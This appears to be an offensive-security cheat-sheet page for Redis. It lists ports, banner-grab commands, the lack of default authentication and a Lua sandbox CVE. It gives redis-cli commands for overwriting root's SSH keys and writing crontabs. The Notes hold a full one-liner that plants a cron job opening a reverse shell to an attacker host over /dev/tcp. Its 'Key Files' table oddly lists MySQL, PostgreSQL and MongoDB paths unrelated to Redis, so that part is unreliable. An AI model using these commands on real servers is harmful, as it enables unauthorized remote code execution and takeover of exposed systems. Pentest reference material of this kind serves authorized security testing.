Back to services
cache6379/tcp

Redis

RedisRemote Dictionary ServerRedis Cache

Redis is an in-memory data structure store. Unauthenticated access allows reading/writing keys, and RCE via crontab/SSH key overwriting with writeable directories.

Ports

PortProtocolDescription
6379tcpRedis

Fingerprints

Banner / ProbeExpected Response
nmap -sV -p <port> <target>Service banner and version info
nc -nv <target> <port>Raw banner grab

Key Files

PathDescription
/etc/mysql/mysql.cnfMySQL client configuration
/var/lib/mysql/mysql/user.MYDMySQL user table data
postgresql.confPostgreSQL configuration file
pg_hba.confPostgreSQL client authentication rules
mongod.confMongoDB daemon configuration

Default Credentials

UsernamePasswordContext
(none)No authentication by default

Known CVEs

IdentifierTypeDescription
CVE-2022-0543RCERedis Lua sandbox escape

Exploitation Primitives

TechniqueTool / CommandResult
Write SSH Keyecho -e "\n\n<pubkey>\n\n" | redis-cli -h <target> -x config set dir /root/.sshSSH key overwrite
Write Crontabredis-cli -h <target> config set dir /var/spool/cronCron-based RCE

Notes

No authentication is the default — always check before brute-forcing.

Writeable Redis to SSH key overwrite: requires Redis to run as root or as a user with a home directory.

`CONFIG SET dir /var/spool/cron/crontabs/ && CONFIG SET dbfilename root && set x "\n* * * * * bash -i >& /dev/tcp/attacker/443 0>&1\n" && save`

Seen on

ShodanCensysFOFAZoomEye

References